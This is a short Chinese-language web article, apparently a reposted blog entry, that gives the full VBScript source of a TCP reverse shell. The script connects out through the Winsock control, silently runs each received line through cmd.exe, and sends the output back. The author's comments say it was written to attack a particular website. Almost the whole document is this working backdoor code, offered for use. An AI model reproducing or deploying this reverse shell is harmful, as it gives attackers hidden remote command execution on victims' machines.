如何实现TCP版backshell的VBS脚本代码

这篇文章主要介绍如何实现TCP版backshell的VBS脚本代码，文中介绍的非常详细，具有一定的参考价值，感兴趣的小伙伴们一定要看完！

'搞一个特殊的站准备用的，没想到，等写完了，洞补上了，郁闷
'by 009, baicker@hotmail.com
'date:071221

Dim revdata
set sock=WScript.createobject( "MSWinsock.Winsock" , "WSEvent_" )
set sc=createobject( "WScript.Shell" )
Set fso =CreateObject( "Scripting.FileSystemObject" )
sock.connect "127.0.0.1" , 1234

Sub WSEvent_Connect()
wscript.echo "Connected!"
end sub

Sub WSEvent_DataArrival(bytes)
MyString= "blank" 
sock.GetData MyString
revdata=MyString
if bytes> 0 then
if instr(revdata, "exit" )> 0 then
sock.close
sock.close
sock= nothing
bClose= true
exit sub
else
on error resume next
tempfile= "C:\" & fso.GetTempName
cmd=left(revdata,len(revdata)- 1 )
call sc.Run ( "cmd.exe /c " & cmd & " > " & tempfile, 0 , True )
Set txf = fso.OpenTextFile(tempfile, 1 , false , 0 )
sock.senddata txf.readall & vbcrlf & vbcrlf
txf.close
call fso.DeleteFile(TempFile, True )
end if
sock.senddata "009>"
end if
end sub

While Not bClose
WScript.Sleep 1
Wend

—————————————————————————————————————
调用winsock，未装VB的需要导入注册表
—————————————— vb6controls.reg —————————————————-
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